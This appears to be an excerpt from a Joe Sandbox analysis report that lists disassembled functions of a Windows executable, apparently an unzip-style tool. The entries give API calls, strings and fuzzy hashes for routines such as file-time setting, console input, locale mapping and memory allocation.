Function 00411CF0 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,0000001D,?,00000002,?,00409426), ref: 00411CFF

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 3063c24a5b71c23c923af5feb8ca0f4c4c71082d0ad2a5863e7f5c886da2b426
Instruction ID: d2ed403ade62f16da6ef4183f008dc4ef17a0cac864e46f49f16e908037ef13a
Opcode Fuzzy Hash: 3063c24a5b71c23c923af5feb8ca0f4c4c71082d0ad2a5863e7f5c886da2b426
Instruction Fuzzy Hash: DDD012B524C34075FA280F226C47FE737985B48B01F24905AFB91AB2D2D7A898455A39

Function 0040FF00 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 186fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F6B0: GetVersion.KERNEL32(004028AB,?,?,ZIPINFOOPT,?,?,?,00401014,?,?,0041492C,00573F70), ref: 0040F6BA

CreateFileA.KERNEL32(?,00000100,00000003,00000000,00000003,02000000,00000000,00000000,?,00000000,?,00403F26,?), ref: 0040FF28
GetLastError.KERNEL32(00000000,?,00000001), ref: 0041005E

Strings

warning: SetFileTime() for %s error %d, xrefs: 004100EF
set attrib: %-22s , xrefs: 0040FF55
warning: CreateFile() error %d (set file times for %s), xrefs: 00410065
compressed WinNT security data missing (%d bytes)%s, xrefs: 0040FFEB
%-22s , xrefs: 0040FFB7

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: CreateErrorFileLastVersion
String ID: compressed WinNT security data missing (%d bytes)%s$ set attrib: %-22s $%-22s $warning: SetFileTime() for %s error %d$warning: CreateFile() error %d (set file times for %s)
API String ID: 2621615039-3452739180
Opcode ID: 2b806aec2b57c61612aba36cfce3f43dab4ac99dab400fed94529667076e6c1e
Instruction ID: edb26e619037c44488cf69f2599f5cd4dd598bd07b404ecfb4a3fc13bc9991ba
Opcode Fuzzy Hash: 2b806aec2b57c61612aba36cfce3f43dab4ac99dab400fed94529667076e6c1e
Instruction Fuzzy Hash: 6051F9757803007BE720AB65BC47FB3365E9B54B15F94442BF909D22C2E6FEAC90826D

Function 0041BAAB Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,?,0041A4B1,?,Microsoft Visual C++ Runtime Library,00012010,?,00423494,?,004234E4,?,?,?,Runtime Error!Program: ), ref: 0041BABD
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041BAD5
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041BAE6
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0041BAF3

Strings

4B, xrefs: 0041BB19, 0041BB1D
MessageBoxA, xrefs: 0041BACF
GetLastActivePopup, xrefs: 0041BAE8
GetActiveWindow, xrefs: 0041BAE0
user32.dll, xrefs: 0041BAB8

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll$4B
API String ID: 2238633743-2289559369
Opcode ID: 09a95b68fad4e2ac73f20e07bd1e8fe16aafe990b9da3c80e5661cf0b665ca6f
Instruction ID: 9c9cf768bb1ba27c629e3c903df4a55c7cd1ab91446db272b6502811c55c3a36
Opcode Fuzzy Hash: 09a95b68fad4e2ac73f20e07bd1e8fe16aafe990b9da3c80e5661cf0b665ca6f
Instruction Fuzzy Hash: 9C017531304316AB8720DFB5AC84EA77AB8EB48681754443BA946C2725D778DC46C79C

Function 00407860 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 391COMMON

Download Yara Rule

Strings

--- Press `Q' to quit, or any other key to continue ---, xrefs: 004079D5
warning: filename too long--truncating., xrefs: 00407A6A
nircmdc.exe, xrefs: 00407AAE, 00407B09, 00407B0E, 00407B29, 00407B2E, 00407B43, 00407BFC
warning: extra field too long (%d). Ignoring..., xrefs: 00407C8B
[ %s ], xrefs: 00407C07

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID:
String ID: --- Press `Q' to quit, or any other key to continue ---$[ %s ]$nircmdc.exe$warning: extra field too long (%d). Ignoring...$warning: filename too long--truncating.
API String ID: 0-1331371059
Opcode ID: a089861949e6340726d744b7c5c5a373a40e7235673de09a17e0cbd3ad2df153
Instruction ID: 51b1e297df8a976b1ee28b2c1833878725061e8c3fbe01eded018527f9c4d9f5
Opcode Fuzzy Hash: a089861949e6340726d744b7c5c5a373a40e7235673de09a17e0cbd3ad2df153
Instruction Fuzzy Hash: 39C13B71B4C3416AEB209F2CAC45B667B55AB11318F28507BE881673C2D2BDBC46C39F

Function 00412130 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(CONIN$,C0000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,004075BA), ref: 00412150
GetConsoleMode.KERNEL32(00000000,?,?,?,004075BA), ref: 00412166
SetConsoleMode.KERNEL32(00000000,00000001,?,?,004075BA), ref: 00412173
ReadFile.KERNEL32(00000000,?,00000001,?,00000000,?,?,?,004075BA), ref: 0041218F
ReadFile.KERNEL32(00000000,?,00000001,00000001,00000000), ref: 004121BA
SetConsoleMode.KERNEL32(00000000,?,?,?,004075BA), ref: 004121DD
CloseHandle.KERNEL32(00000000,?,?,004075BA), ref: 004121E4

Strings

CONIN$, xrefs: 00412147

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ConsoleFileMode$Read$CloseCreateHandle
String ID: CONIN$
API String ID: 4003642833-3033795042
Opcode ID: 3e96ca424909fdc7b0da6d46b6abef9ef331b44d0c6254d227a55d37fe738f75
Instruction ID: e7930273b9cbbd300fa439537dbf3610411437395ea581ac5f8278a4b0bfe79b
Opcode Fuzzy Hash: 3e96ca424909fdc7b0da6d46b6abef9ef331b44d0c6254d227a55d37fe738f75
Instruction Fuzzy Hash: 4F11E436700311FBE621DB159C49FEB7768AB84720F108525FE10E61C0D7B499898B6E

Function 00412310 Relevance: 13.7, APIs: 9, Instructions: 181stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 0041235C

Part of subcall function 00412550: CreateMutexA.KERNEL32(00000000,00000001,00000000,?,00000000,00000000,00412334), ref: 00412566

EnterCriticalSection.KERNEL32(00429220), ref: 0041240D
lstrcmpiA.KERNEL32(00429118,?), ref: 00412428
LeaveCriticalSection.KERNEL32(00429220), ref: 0041243F
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00412461
GetDriveTypeA.KERNEL32(?), ref: 00412493
EnterCriticalSection.KERNEL32(00429220), ref: 004124BD

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: CriticalSection$Enter$CreateDriveInformationLeaveMutexTypeVolumelstrcmpilstrlen
String ID:
API String ID: 3268418500-0
Opcode ID: d8ef268f65cd5ebb51ce9872d8032ae48db8673499c663791f14b6ff2cf88466
Instruction ID: 2886dcb7fcb796122c9e5b216d3458b3906ab7dde395389191bfab681fb0c28f
Opcode Fuzzy Hash: d8ef268f65cd5ebb51ce9872d8032ae48db8673499c663791f14b6ff2cf88466
Instruction Fuzzy Hash: 8F51F7316083559FE320CF25E9457EBBBD4AB95300F54482EE890C3381D6BCDD9AC7AA

Function 0041918F Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004231C4,00000001,00000000,00000000,00000103,00000001,?,?,0041B122,00200020,00000000,?,?,00000000), ref: 004191D1
LCMapStringA.KERNEL32(00000000,00000100,004231C0,00000001,00000000,00000000,?,0041B122,00200020,00000000,?,?,00000000,00000001), ref: 004191ED
LCMapStringA.KERNEL32(?,?,00000000,00200020,0041B122,?,00000103,00000001,?,?,0041B122,00200020,00000000,?,?,00000000), ref: 00419236
MultiByteToWideChar.KERNEL32(?,00000002,00000000,00200020,00000000,00000000,00000103,00000001,?,?,0041B122,00200020,00000000,?,?,00000000), ref: 0041926E
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00200020,?,00000000,?,0041B122,00200020,00000000), ref: 004192C6
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,0041B122,00200020,00000000), ref: 004192DC
LCMapStringW.KERNEL32(?,?,0041B122,00000000,0041B122,?,?,0041B122,00200020,00000000), ref: 0041930F
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,0041B122,00200020,00000000), ref: 00419377

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 26d0b9452b8bc0e299162577c32f6f33c8d5b4764b2a63f7722eed71b1d7e419
Instruction ID: 55b7dface7ca53413e5a610a34780f482f7b03c06cfb318d5c2bd6adb41ae378
Opcode Fuzzy Hash: 26d0b9452b8bc0e299162577c32f6f33c8d5b4764b2a63f7722eed71b1d7e419
Instruction Fuzzy Hash: 0B515B31500209FBCF218F95CD49EEF7BB5FB49754F10412AF924A22A0D3398DA1DB69

Function 00412200 Relevance: 13.6, APIs: 9, Instructions: 120COMMON

Download Yara Rule

APIs

Part of subcall function 0040F6B0: GetVersion.KERNEL32(004028AB,?,?,ZIPINFOOPT,?,?,?,00401014,?,?,0041492C,00573F70), ref: 0040F6BA

IsValidSecurityDescriptor.ADVAPI32(?), ref: 00412217
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00412237

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: DescriptorSecurity$DaclValidVersion
String ID:
API String ID: 1532089921-0
Opcode ID: 0d93435f18004ed9e29ac5f9650c3a45ac4ace9d854fa5dae8183bc654cd503a
Instruction ID: 6816d2660224887e43d6666693bd05513e1fa9988970b9181180d49af46b03ac
Opcode Fuzzy Hash: 0d93435f18004ed9e29ac5f9650c3a45ac4ace9d854fa5dae8183bc654cd503a
Instruction Fuzzy Hash: B831A7367002225BA710DB2DED80DFF77E8EEC4754F84486AF854C2210F778D95946B6

Function 0041A38D Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 0041A3FA
GetStdHandle.KERNEL32(000000F4,00423494,00000000,?,00000000,00000000), ref: 0041A4D0
WriteFile.KERNEL32(00000000), ref: 0041A4D7

Strings

Microsoft Visual C++ Runtime Library, xrefs: 0041A4A6
..., xrefs: 0041A44C
Runtime Error!Program: , xrefs: 0041A460
<program name unknown>, xrefs: 0041A40A

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 04c2ac82d4cdaaabc69ab33a94a316821a7cf5c4c0c799cd293786380b4abd52
Instruction ID: 7a0306bc7714f66003fee43fc566662e0915a3c579c87e485ca05bdabf1bfbee
Opcode Fuzzy Hash: 04c2ac82d4cdaaabc69ab33a94a316821a7cf5c4c0c799cd293786380b4abd52
Instruction Fuzzy Hash: FB31C572702218AFDF20EA61DC4AFDE776C9B45344F9004AFF944D6140D6BCEAD48A5E

Function 0041CE0F Relevance: 12.2, APIs: 8, Instructions: 181COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,004231C4,00000001,004231C4,00000001,00000000,00000000,00000000,0041C6AA,00000000,00000000,7591DF80,00000000,00000000), ref: 0041CE4D
CompareStringW.KERNEL32(00000000,7591DF80,00000000,00000000,0041C6AA,00000000,00000000,00000000,00000000,0041C6AA,00000000,00000000,7591DF80,00000000,00000000), ref: 0041CEB3
CompareStringA.KERNEL32(00000000,00000000,004231C0,00000001,004231C0,00000001,?,?,00000000,0041C134,00000000,00000000,?,?,?,0040144E), ref: 0041CEC9
WideCharToMultiByte.KERNEL32(00000000,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0041C6AA,00000000,00000000,7591DF80,00000000), ref: 0041CF0C
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041CF66
WideCharToMultiByte.KERNEL32(?,00000220,?,?,00000000,00000000,00000000,00000000), ref: 0041CF7E
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041CFD6
CompareStringA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000), ref: 0041CFF4

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ByteCharCompareMultiStringWide
String ID:
API String ID: 1117519366-0
Opcode ID: a411932ad2318a4f170b5595e3798524a948137154e595a0eb41b66fa8cbb120
Instruction ID: a774bcca2041765d8996282b2f32d3625f26fdb7b7df1d6986941dd8b1866f47
Opcode Fuzzy Hash: a411932ad2318a4f170b5595e3798524a948137154e595a0eb41b66fa8cbb120
Instruction Fuzzy Hash: 26516A71A40209EBCF218F95CC85DEF7F79FB49754F20411AF811A1260D73989A1DBA8

Function 0041D165 Relevance: 12.2, APIs: 8, Instructions: 170COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004231C4,00000001,00000000,00000000,7591DF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,7591DF80,00000000,00000000), ref: 0041D1A7
LCMapStringA.KERNEL32(00000000,00000100,004231C0,00000001,00000000,00000000,?,?,00000000,0041C134,00000000,00000000,?,?,?,0040144E), ref: 0041D1C3
LCMapStringW.KERNEL32(00000000,7591DF80,00000000,00000000,0041C6AA,00000000,7591DF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,7591DF80,00000000,00000000), ref: 0041D20C
WideCharToMultiByte.KERNEL32(00000000,00000220,00000000,00000000,00000000,00000000,00000000,00000000,7591DF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,7591DF80), ref: 0041D23F
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041D296
LCMapStringA.KERNEL32(?,?,?,?,00000000,00000000), ref: 0041D2B2
LCMapStringA.KERNEL32(?,?,?,?,?,00000000), ref: 0041D308

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 6909be8c5c249c1ea830a7f530855667d4e0118645d5f77b012ba46e2979939f
Instruction ID: f32d3add464206e8e0aed92ca822318019ba77b5f644faad787136d3d6fb05ee
Opcode Fuzzy Hash: 6909be8c5c249c1ea830a7f530855667d4e0118645d5f77b012ba46e2979939f
Instruction Fuzzy Hash: 62518FB1901219FBCF228F91DC45AEF7F75FF09750F148016F925A1260C7398992DBAA

Function 0041A052 Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A06D
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A081
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A0AD
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,004148FC), ref: 0041A0E5
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,004148FC), ref: 0041A107
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,?,004148FC), ref: 0041A120
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A133
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041A171

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: c8d47bca2f00aef09e3c29924055f81ad138db5fe313db441fa83e7eab80b45a
Instruction ID: 55f3ef25e741e715063bb0b53fb3b0197acadb47fa1d7b83ba552b9266e1e871
Opcode Fuzzy Hash: c8d47bca2f00aef09e3c29924055f81ad138db5fe313db441fa83e7eab80b45a
Instruction Fuzzy Hash: 0331E67250A2157FD7207FB59C848BBBA9CEA49354F15053BF952C3201E7698CD1826F

Function 004181D9 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,?,?,?,?,0041767B), ref: 004181FA
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,?,?,0041767B), ref: 0041821E
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,?,?,0041767B), ref: 00418238
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,0041767B), ref: 004182F9
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,0041767B), ref: 00418310

Strings

hB, xrefs: 004181E6, 00418242, 0041824B, 00418254
hB, xrefs: 004182FF
hB, xrefs: 00418259, 00418262, 0041826B, 00418273

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID: hB$hB$hB
API String ID: 714016831-3407773006
Opcode ID: 21d0b8c3c549ef3f006421a9cbb870f42be1103d9f1cbd472c759b23aba7fc12
Instruction ID: 3deade5512a951a36e16256948898a48dfe75dffd287a545e5a0f75b2dea7774
Opcode Fuzzy Hash: 21d0b8c3c549ef3f006421a9cbb870f42be1103d9f1cbd472c759b23aba7fc12
Instruction Fuzzy Hash: 6A311271A40B01DBD3329F29DC40BA6B6E4EB44B54F11813FF56597290EB78A881DB4C

Function 00412550 Relevance: 12.1, APIs: 8, Instructions: 54synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000,?,00000000,00000000,00412334), ref: 00412566
InterlockedExchange.KERNEL32(00428D6C,00000000), ref: 00412582
InterlockedExchange.KERNEL32(00428D6C,00000000), ref: 00412590
CloseHandle.KERNEL32(00000000), ref: 00412593
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041259C
ReleaseMutex.KERNEL32(00000000), ref: 004125A3

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ExchangeInterlockedMutex$CloseCreateHandleObjectReleaseSingleWait
String ID:
API String ID: 1537229248-0
Opcode ID: 2233b778cae926ed051bf37e10cc9fba4f9749033d4a10a0707beef56968d8a8
Instruction ID: b0480333715e69541531a0b31537b6c343dc41711bcec5a2d42a26cd8254ad3b
Opcode Fuzzy Hash: 2233b778cae926ed051bf37e10cc9fba4f9749033d4a10a0707beef56968d8a8
Instruction Fuzzy Hash: 27017976751135BBE620176ABC84FCA7A54DB98761F504036FB04C1290CAE54855867D

Function 0041A6FD Relevance: 9.1, APIs: 6, Instructions: 143COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004231C4,00000001,00000000,7591DF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,7591DF80), ref: 0041A73C
GetStringTypeA.KERNEL32(00000000,00000001,004231C0,00000001,?), ref: 0041A756
GetStringTypeW.KERNEL32(00000100,7591DF80,00000000,00000000,7591DF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,7591DF80), ref: 0041A77D
WideCharToMultiByte.KERNEL32(0041C6AA,00000220,7591DF80,00000000,00000000,00000000,00000000,00000000,7591DF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,7591DF80), ref: 0041A7B0
WideCharToMultiByte.KERNEL32(?,00000220,?,?,00000000,00000000,00000000,00000000), ref: 0041A819
GetStringTypeA.KERNEL32(?,00000100,?,?), ref: 0041A884

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: a43e38c5c5d028c144d3e8cb6c32465874376830a1d5fb65c484278b2941d380
Instruction ID: 234dd49fbe87c6ca2bccb5c469feb3bcb330d3ea89130add922d392c3e6857ad
Opcode Fuzzy Hash: a43e38c5c5d028c144d3e8cb6c32465874376830a1d5fb65c484278b2941d380
Instruction Fuzzy Hash: 2051D371941219EBCF219F95CC46EEFBF74FF49710F10851AF514A2290D33899A2CBAA

Function 004188A6 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004231C4,00000001,?,00000103,00000001,?,0041B122,00200020,00000000,?,?,00000000,00000001), ref: 004188E5
GetStringTypeA.KERNEL32(00000000,00000001,004231C0,00000001,?,?,?,00000000,00000001), ref: 004188FF
GetStringTypeA.KERNEL32(?,?,?,00000000,00200020,00000103,00000001,?,0041B122,00200020,00000000,?,?,00000000,00000001), ref: 00418933
MultiByteToWideChar.KERNEL32(0041B122,00000002,?,00000000,00000000,00000000,00000103,00000001,?,0041B122,00200020,00000000,?,?,00000000,00000001), ref: 0041896B
